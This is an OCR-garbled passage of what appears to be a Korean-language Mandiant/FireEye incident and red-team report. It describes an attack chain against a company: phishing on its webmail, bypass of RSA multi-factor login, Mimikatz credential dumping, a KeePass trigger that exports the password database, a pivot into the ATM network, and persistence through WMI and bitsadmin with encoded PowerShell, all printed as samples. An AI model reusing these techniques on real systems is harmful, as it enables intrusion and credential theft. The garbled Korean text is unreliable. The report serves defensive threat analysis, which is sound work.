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Set-RemoteDomain Default
-AutoForwardEnabled $false

L& PowerShell &€ A85t0{ Exchange M2 EX|gto Cigh Mg
TS EAE &= AL

Get-Mailbox | where {($.ForwardingAddress
-ne $null -or $.ForwardingSMTPAddress
-ne $null)}| select Name,
ForwardingAddress, ForwardingSMTPAddress,
DeliverToMailboxAndForward
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BIEEI2 S210[1ES| QB o1 olmato] Ciet 2F A QIHIR[FA Jejo|M's t=st{™ ZlLo| 2X|E OWA ZEo| 201510k JHELICH
(OSINT) &g &ist= S0 https://owa.customer.examplediAl 2 J2|1 S|alS ARX| 27 floff RS2 QIEE OHXl= EA| HA OWA Z
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:jll;IIOutlook [ O Outlook Web App + - 0o X
Web Portal < C @ nttpsy/ 010 :

Microsoft™

Outlook'Web App

Security ( show explanation )

@ This is a public or shared computer
QO This is a private computer

[ Use the light version of Outlook Web app

User name: ‘

Password: ‘

Connected to Microsoft Exchange
© 2010 Microsoft Corporation. All rights reserved.
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o

Apply the corporate settings made available by your

IT Administrator

Configure CA Certificates

Configure Wi-fi
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Configure VPN Profiles

Configure Email
Pending
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kel SEE

Of EtAloilA 2210

= Mandiant 3|EEI0| CHAICE A2 M| 71X Z2

St SEEZ RSA MFA A|AHI ATM HESQIF, J2|10 17IX|e] 28 o=

a8 14. 28

ofZz|7|o|M
2I0l =™

6 Sean Metcalf(20174 28 52). Detecting Kerberoasting Activity. https://adsecurity.org/?p=3458

7 GitHubdlM AE https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps]
8 Christopher Schmitt(20174 10¥ 30%). Introducing GoCrack: A Managed Password Cracking Tool
9 GitHubdlM A3, https://github.com/gentilkiwi/mimikatz &=
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« CUSTOMER\user1
« CUSTOMER\user2
« CUSTOMER\user3

« CUSTOMER\user4

AEE2 28 ofE2lA0lMel @ QlEHo|A (T8 14)2 015510 250

RSA O~ FE'7} ZIQSEICH= ZAS g7AZon, 0= A~ MFA E20|

[ https:// X+

& C & httpsy/

Version 4.4

User ID: ‘ ‘

Password: ‘ ‘

RSA Passcode: ‘ ‘

Your Passcode is the number diplayed in
the RSA App.

Change Password
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AEE2 UESR ot SFoIM T4 TiU2HT EME HAlgto =M 2210

AHEO| RSA MFA F1HiE SHE MUEUCH ojd 5

7 & siLh(az 15)0

M HEEI2 M| 72| RSA ME{2]| SAE 0|50| EA|El AZE2|0{ 00|13
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a# 1s.
\\CUSTOMER-FSOT\

Software®l RSA
oto|1zo|M =21

03/07/2011
08/11/2011
11/22/2011
12/16/2011
10/09/2012
05/03/2013
11/29/2013
12/05/2013
01/14/2014
01/28/2014
07/08/2014
03/12/2015

08/13/2014
08/13/2014
08/13/2014
08/13/2014
08/13/2014

12:36 PM
04:01 P™M
12:37 P™
05:33 PM
08:41 PMm
03:46 PM
09:52 PM
06:08 PM
05:44 Pm
04:57 PM
12:20 PM
02:35 PM
1 File(s)

| Administrator: C:\Windows\system32\cmd.exe

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

software Tokens
software Tokens
Software Tokens
software Tokens
software Tokens
software Tokens
software Tokens
Software Tokens
software Tokens
software Tokens
software Tokens
software Tokens
43,871 bytes

16 pir(s) 16,007,573,504 bytes free

09:47 PM
09:47 PM
09:47 PMm
04:01 Pm
06:02 PM

3 File(s)

<DIR>
<DIR>

C:\Windows\system32>dir “Y:\Install\RSA\Authentication Manager\Migraion Logs”
volume in Drive Y 1is Software
volume Serial Number is 64D0-C2F9

Directory of Y:\Install\RSA\Authentication Manager\Migraion Logs

5,408 rsa0l-migrationReport.log

5,408 rsa0l-migrationReport.log
5,408 rsa0l-migrationReport.log
22,629 bytes

2 pir(s) 16,007,573,504 bytes free

C:\Windows\System32>_

=l x |
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CHECE, YEEI2 RSA 21F BES MG AFRXIE Aldste o] =3

ol
fjo

QE=IZLICH BEEIS RSA AH{2| C:\Users 4! C:\data ZC{e| C|HE
2| 2|ABIE T-SIHAM, RSA 0f0|ME MX| =2 20| CIREEE o
CUSTOMER\CUSTOMER_ADMIN100| 21918t Zi2 gf7Asi&LICt 0]
XEE AIR3H0] gEEI2 CUSTOMER\CUSTOMER_ADMINIOS ZHAH

QI RSA 2|XI2 EN-IFELIC

Directory: C:\Users

Mode LastWriteTime

Directory: C:\data

Mode LastWriteTime
d-—- 9/14/2016 12:14PM

-a--- 9/14/2016 8:19AM

d---- 9/14/2016 5:15 PM
d---- 9/14/2016 5:15 PM
d---- 9/14/2016 5:15 PM
d---- 9/14/2016 5:15 PM
d---- 9/9/2016 12:12 PM
d---- 1/17/2017 5:44 PM
d---- 9/14/2016 5:15 PM
d---- 7/17/2017 4:03 PM
d---- 9/14/2016 8:21 AM

Length

57390141

Name

.NET v2.0

.NET v2.0 Classic
.NET v4.5

.NET v4.5 Classic
Administrator
CUSTOMER_ADMIN7
Classic.NET AppPool
cUSTOMER_ADMIN15
CUSTOMER_ADMIN10

Name

WebAgent 80_x64_ IIS

WebAgent 80 x64 IIS.

zip
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a3 17
PowerView Invoke-
UserHunter Z& A

Stealth (unmanaged)

03/20 19:32:57 [output]
received output:

UserDomain : CUSTOMER.example
UserName : Userl03
ComputerName : CUSTOMER-FSO01
IPAddress : 10.4.32.12
SessionFrom : 10.4.133.76
SessionFromName :

LocalAdmin :

UserDomain : CUSTOMER.example
UserName : Userl03
ComputerName : CUSTOMER-FSO01
IPAddress : 10.4.32.12
SessionFrom ¢ 10.1.33.133
SessionFromName : 10.1.33.133
LocalAdmin :

03/20 19:32:35 [input] powerpick Invoke-UserHunter -Username Userl03 -Stealth
03/20 19:32:35 [task] Tasked beacon to rin:

Invoke-userHunter -Username userl03 -

03/20 19:32:43 [checkin] host called home, sent: 133715 bytes

CUSTOMER-v10103.CUSTOMER.example

10 GitHuboM &ZE. https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.psl &=
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a8 18.
Mimikatz &

51

Using ‘rsa.log for logfile : OK

mimikats # sekursla:

Switch to MINIDUMP

mimikatz # sekurlsa:

:minidump C:\Users\user\Desktop\rsa.dmp
‘C:\Users\user\Desktop\rsa.dmp’

:logonpasswords

Opening : ‘C:\Users\user\Desktop\rsa.dmp’ file for minidump...

Authentication Id :
Session :
User Name :
Domain :
Logon Server :
Logon Time :
SID :
msv :

[00000003] Primary

0 ; 1726155 (00000000:001a56cb)
RemoteInteractive from 2

userl03

CUSTOMER

CUSTOMER-DC1

3/13/2018 12:22:37 PM
S-1-5-21-123456789-0123456789-123456789-1234

* Username : userl03

* Domain : CUSTOMER

* NTLM : 9f<REDACTED>fld4de

* SHA1 : 8cd<REDACTED>68897b645

* DPAPI : ce3<REDACTED>6d0f7
tspkg :

* Username

userl03

* Domain : CUSTOMER

* Password

<REDACTED>
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2|EEI2 CUSTOMER\user1030] CHSt O1= AMEHE A2SI0] MFA gl0|

2| @eto] QA= RSA Eot &0 gl ZRE Al=of| 2I0IFEL CHaE

B2 ZF0| 22 RSA £ M42 DLERSHS LAl BAE 28510
Ploo= EgS HlY 7| AES NBsts 20| 71 OHXSt dhol2tm B

CIHGLICEH 8Lt S2lo|ET AT EQ 0] E2S AFSSH U | mh2of
H|AM E22 07 5| AF2Xt2| RSA SecurlD PINS Z2 #ELICt J2HA
& ofZ2[FolMe] FHE ARAIE CHAICR 9T AE|o|Mof| HEE RSA

PINS| ZAS A5l 27|12 ZFISLICH

52
HEE2 0= ARZAIZL F8 OIZE2(AHO|M0f HMflAeh = QAEX] L1 AU
X[2HZE ARl A e Al ol thsiM = X ZELICE o] AlLHIS
2folsy| flal 2I=E2 U2 HAEE Sof AFSAIE EIE S O 2=

2 Rulerll REIZ|E|Z AIR510{ HTTPANOIM MAPIZ E5 28 ofZa|7|
0|A AFRX} CUSTOMER\user10] CHalf 24 Outlook SH|0|X|S MEEH
SLICH O|Z | 5H AFSXIZE RbAIS] A|AEY0||M OutlookS CHA| & mHOICE

0§} ARELICY,

CUSTOMER\user10| Outlook2 CIA| AldH5T 0|52 /3 AH|0|AMO0|

EAE|H 2 =EI0| AL MA|E T2 MS A CHel ARSAZ it

Hol 4= MF &F 402l KeePass S AFSHZ S &ISSHICL

— .
RSA Security Console - Welco... TP - (m] X
az 9.
RSA 2& < C o 00 :
. Logg
RSA |Secur|ty Console
I Home Identify ¥ Authentication v Access ¥ Reporting v RADIUS ~ Administration ¥ Setup ~ Help v
3 Home

B3 User Dashboard: Quick Search

weicome [N You logged on: [N

1" Warning: Your system has exceeded 85% of the licensed user limit.

@ ‘ lvl Type the last name to see results

l ‘ Al Identity Source

D> Quick Links

> Manage Users
> System Systems
> Assigned Tokens

> View Token Statistics

> Completed Reports
> License Status
> Software Version Information

> Authentication Activity Monitor

‘Copyright ©1994 « 2016 EMC Corporation. All Rights Reserved.

N GitHubMA ME. https://github.com/sensepost/ruler &ZE
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2EEIR2 KeePass 714 Tilof 2t O[HIE E2|HE F7Is10{ OIAE 2fF 0|7 MAE Csv mialo| &5 & stite 28 ofE2/7A0ldel 212l
gl0| mtelo| FHIZE AHAISIY| fI5f| KeePassof CHet S22 FHYELICE F5 FEJSH, o7[olz ofZ270|d 2dZE= 2E ARSI RSA

(02 20). 0| EB|HE AR50 CI20f| AF2 X}V | KeePass & M KeePass SecurlD PINE Z&HZ|0] QIYUSLICEH O] HHE 0|23 YEEIS 22 ofE
Hlo|EfH[o] A LHe| 2 b7t ZEHE CSV melo| MAE(lon] A=Kt 2[7]0]Mof| MA|ABHY | o Rt ZE IE FEE Rt =UASLICH

2Y 2ol EL7|E M £ ARSLICH

N\

a# 20.
ofd 7o ot <TriggerSystem>
<Triggers>
<Trigger>

<Guid>/L3TABT7nUyA9HdwvKgcig==</Guid>
<Name>Audit</Name>
<Events>
<Event>
<TypeGuid>2f8UBoW4QzZm5BvaeKztApw==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
</Parameter>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>E5prW87WRr34NO1xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>

C:\Users\userl\AppData\Roaming\KeePass\{DB_ BASENAME}.csv
</Parameter>
<Parameter>KeePass CSV (l.x)</Parameter>
</Parameter>
</Action>
</Trigger>
</Triggers>
</TriggerSystem>
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CUSTOMER\user10322 27915104

CUSTOMER\user1e| AtZAF 71222 O|S#ELICH 18 thg 22fel 4]
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HalE| =5 E20| MHEJUSFLICL Ol HIYE

o
=
<8 S20j| 0|x|= geks 26| flo H>=AELICH

ad 21.
bl MM~ B

FONA ESS MMELICHOR! 21). CHS HHo| CUSTOMER\user10|

BIStRSA SecurlD PIN + E2 FEZ QISE|M HIA HMA FETHH|E

X|5im Al S| B|ZL|A

N

)

Security Console

dentify ¥

e
curlD Token: Ty

anage Emergency Access Tokencodes

for emergency access when the user has lost, broken, or misplaced a token. The user authenticates with his or her current PIN + the emergency tokencode prc

Authentication ¥ | | Access ¥ | | Reporting ¥ | | RADIUS ¥ Help ¥

Administration ¥ | | Setup ¥

" Required field

nline Emergency Access

[] Online Emergency Access: ZEnable authentication with an online emergency access tokencode

@Temporary Fixed Tokencode
OSet of One Time Tokencodes

13868899' Generate New Code H (Tokencodes will not be assigned to user until you click Save
@ No expiration
. e

ODeny authentication with token
@Allow authentication with token at any time and disable online emergency tokencode

[] Type of Emergency Access Tokencode(s):

[ Online Emergency Access Tokencode:

[] Emergency Access Tokencode Lifetime:

[ 1f Token Becomes Available:

OAIIow authentication with token only after the emergency access code lifetime has expired and disable o

[ Last Used to Authenticate:

ffline Emergency Access
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[c ][

Version 4.4

_ Creation

Wire Number:

Entry Date: _
vser: [N

External Source System:
External Source System Id:

Debit Account Balance:

State:

Status:

WCQmments Client UDFs  Vendor Details Pre-Advisory Attachments Approval History Change Audit System Data

— Debit Information:

*Debit Short Name: [ Select a Debit Short Name

[*)

Debit Account: [

)

Debit Account Name: [

]

— Credit Information:

Rebalance Wire: [ ]

*Credit Short Name: [ Select a Credit Short Name

Iy

Intermediary Account: [

Bank:

Currency:

Account Name:

ABA #:

SWIFT/BIC:

(
(
(
Account #: [
(
(

— Wire Detail:

Online Pay: [ | Urgent Wire: [
*Value Date:
Trade Date:
Settle Date:
*Amount:
Purchase Price:
*Payement Type:
Reference:
Deal Name:
Facility:
Counterparty:

Comments:

()
. )
. )
. )

Select a Payment Type

. )
. )
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ATM 2HM|x HZ M= ALElof| RDPE A|=3HE AFZAt0]| CHs MFAS HE3D| W=
degel 5 SrE FR 7Y =My 22lE Eeo UERZ M of oM FallE =l 22|xt AF el CUSTOMER\ADMINOTE AFE3}0]
HEO| EXfists ATM o AM|AsHE ZOIRFLICE BIA, ATM_ JUMPHOSTO10{M WMIE Saff H0|2=5 M#FELICE WMIE MFA
Administratorset Zt0| Moz AAHAMO| U= OF9| 3 2= £ XI5 o2 B=EI2 JUMPHOSTO1L 2|EEIS| CnC A{H A}O|

QF: Cioi 21, ots B, AIF MIEst
2[510] TW7HR|Q| AIBAL SE2 AHYSLICH O Og W2 7tsst ZE Al

of] GIZS MAESIT SOCKS TEA|S MASHH RSA Il glo] ATM 22| of

r

. _ olH} AL X} AR o= 2ASHE H|XL|IA @7 AKS ¢l0] 22 Ta|Xt A~
ASIOIA O[2{8t CHAl Amo| 512 21012 ZAlSIT HlTalo §BE B ZaA0|Mol HHAE 4 USLICH HSES ATM Za| =230} ol Cieh) o1 Sleh ARBA ARIS MR HIZU 27 A8 Bo] 2 2RI% A
) ) o _ i ABHS 20fsiAMs oF EIL|CH ST AH0|M R2|xH= Mo 2T015H= A
maaLic Sofl 4T3} BE ATM 7|70] Cia} SYSTEM ZBHe Algsiol Has Mandiant HE7ISS MFAZ S8 VPN 217 oA olm2lS w3 = SOt I #A2BIOIE BRIRHS Aol =1etet
. N - 3 0| 3{2E|0{M= oF £|0f, HiCHe| AR T ORI IX|QIL|Ct, OfX|2o 2 =09l
OIEA|T 22 B2RIE 27151 A ATELOIS AX[ST TS At SHe T7e] 47} AlEHs| SHICIS AJAIS SAMSLICH TR Al sy ©) Oe oS BF S5, TS 295 ORI Hn oixlsie® 2o
=S &5E 3 = : - . Xt =OQl HES2{0|0F 2018 4= Ql0{0F 5t0 Mu{ Z2| K= st
ATM R2|% CUSTOMER\ADMINO29| 9IS E 2iSst & Sajojolsel 4 QIlBLICHIR 23). = Lol SuAsls ofSalAolMe] AS MFAS 2H4X| 28t 297 E IH= Z0ie] A= ERR 2Ieler = 2010h ot M B2(RE i
B B B A|AHlo|| HAM[ASH 2= Qlo{of S|} o] BlHo = x-IQA_E_* StOZM 1
L5 Citrix S0 2701510} Klgle| HlAT S0l MASISLIC B2Ixte] 2 SILIC} Tf2iA FireEyels QIS0jA HMAE & ol B 210l meiz a1 B SIS 5 SIOOFEILICE O] dtio= AES Alsstto=y 1
L B _ o _ 7H%_T'_7=IX7 _‘,Ll__|3|_|-2AI-¢A97|_ E;Lg 0| A §|:||_19§05=
ME ZEH 2, SlAl2} ATM HIES/T MIBIES ©1Z5Hs JUMPHOSTOT 2EH U OfERPOIIO] Choll MFA AISIE 218 T20pl ey, s oo eos AP SR sl Aol =
7| O{& A Ol= 2= ol |C|
MH{Z S35 S2jool= o] ATMo| CHHAS! 4 ICiT BEHSLIC) ot | OfFA| B 5= Uit
‘ATM 22| 2 Internet Explorerdf| M&HE S0I3.E ©AZMSLICE O] ots Xzl
a2 o= gl-gl%nzl-
23 E Citrix QAT E0|M & BMAE == UAKXITE, JUMPHOSTO10]| 0| TRl Flslist= Eof BAte| o] ZHS 7157 3iTl AR Q| oFst ot o " Jo
= = o= — = H-= o = i CElS =, oE 517 pSi=1
M= MM ASH 012 Z{o = mrlshAL|C} O At ¢1710fA 20|, Mandiant =R 22I0|HE oM HES
150f 47H9] S AH|A ABS 2AAIZ 4 AUISLICH FireEyes 10| o
Shsim, ATEY0| i 29 AF| SIAZZ9l 20| 3IA} E0olo] Cist 2
= HIAof CHal Zt2dst ots 2 AIRSEH HS AFSH|C Hg)\ HlA AHX
71|o “ HOHo—n_ = = |'oE A= oy | |' s 1 | :” %—E}El ﬂg‘_l_%i!%é'_l %% 3 Hle—lA OH EI;I | 1%%@"A| |_/'\_
of| CHaH =|A 20Xte| etS E A|SHsHOF SH|C 758_}710_' H%M ft _
ool 212 200151 B2 8 AIBSHOLELIEL IST B RASMcrosoft oiorstint. 1 th, Mi=Ele smAol A48 R4 Hel, 24 AL
2| MH|A HF (MSA) = olE{Zajo|= ot5 X& £2MS AIR510] £ )
| B ABMEA) £ ASZSAOIE B2 NESTESABANS o) 221 29 Zojojetze) e =7 9 24 Al20) SHES F2teLL. 2
2 AFRXIZ B2|5Ho} BHLICH N i
FBAHS BHE(oHOF ELICH SEIS T MFA, MHIA A o A3 9l E HiEste] BHOE ol
— . SRS OuE 4 AASLICH
a8 23, Output Properties A= s}
SYSTEM=2 Script: C:\Windows\system32>whoami
o AlSH K 2|EEl0| stAof CHSH Z=7| HM|A HStS AL Sof= A F | MEs 2EEo
ATMOl 22 SR Gl S El0] &2i0] Cigt &7 A HBHS oS Soje Al Hss} =

C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection: QILIC} mhatM, Tl Zllolx|ate oAt 2 AIFo| 2hzt 2Tt
Connection-specifix DNS Suffix . :

Link-local IPv6 Address.....:fe80::e43e:c881:45dc:9b14%11
IPv4 AdresS....eee....:10.250.155.130

Subnet Mask...........:255.255.255.240

Default Gateway.........:10.250.155.129

Tunnel adapter isatap.{10DBD030-1FCE-4165-A46C-377550561770}:

Media State...........:Media disconnected
Connection-specific DNS Suffix.:
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CrashReport.exe 9944a15ff58e0ac5ee8ad83b0c94977fb 179,840
NetUtil.dll 02ec6a4d2188be08a6343ac019a6¢cb6b 5,120
license.rtf a97ea34a3bf1890339f00842bf3262cb 80,618

20174, Z2AX= WMILL BITSE 0|25l X[&EA S RX[5H7| A|&GIELICH MandiantE= WMILLBITS

o AlZE 1 Sot ZAIEtet AUX|2t 028t K& HFHLIZ2 01Hs| RI=F AIXAES| M- 7], £

y =

oL - = A 2= 1d
T12 2501 O] S} 0|88 S7E WMI K54 ti7{LIE] o7t Liet AL 0] SARE Bl
2 HXAEZ|HM SOGU BHE0{E C|Z L5t Alsst= PowerShell ZEE A7 HR|Z AHSIEE

EE: SystemFailureEventFilter(SELECT * FROM __InstanceModificationEvent
WITHIN 3600 WHERE Targetinstance ISA ‘Win32_PerfFormattedData_PerfOS_
System”)

A#M: SystemFailureEventConsumer(C:\Windows\syswow64\
WindowsPowerShell\v1.0\powershell.exe -ep bypass -NoLogo -NonlInteractive
-NoProfile -WindowStyle Hidden -enc JABzAG8AaQBs...)
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AlsELCt
gl 26. @echo off
SE N
MEY ,_Islngi" bitsadmin /rawreturn /create FirewallPolicyUpdate

bitsadmin /rawreturn /addfile FirewallPolicyUpdate file://c:\windows\system32\
kernel32.dll c:\windows\temp\h.jpg

bitsadmin /rawreturn /setnotifycmdline FirewallPolicyUpdate “rundll32.exe”
“rundll32.exe javascript:”””\..\mshtml,RunHTMLApplication “’”;document.
write();new%%20ActiveXObject(“””WScript.Shell”””).Run(*“’”c:\\windows\\
syswow64\\WindowsPowerShel\\v1.0\\powershell.exe -ep bypass

-Command $s=(gwmi Win32_0OSRecoveryConfiguration).DebugFilePath -split
A\\"I:$b=$ExecutionContext.InvokeCommand.NewScriptBlock([system.Text.
Encoding]::Unicode.GetString([system.Convert]::FromBase64String($s[01)));icm
$b -ArgumentList @($s[1]);Start-Sleep -Milliseconds 1000;”””,0,true)”

bitsadmin /rawreturn /setpriority FirewallPolicyUpdate high

bitsadmin /resume FirewallPolicyUpdate
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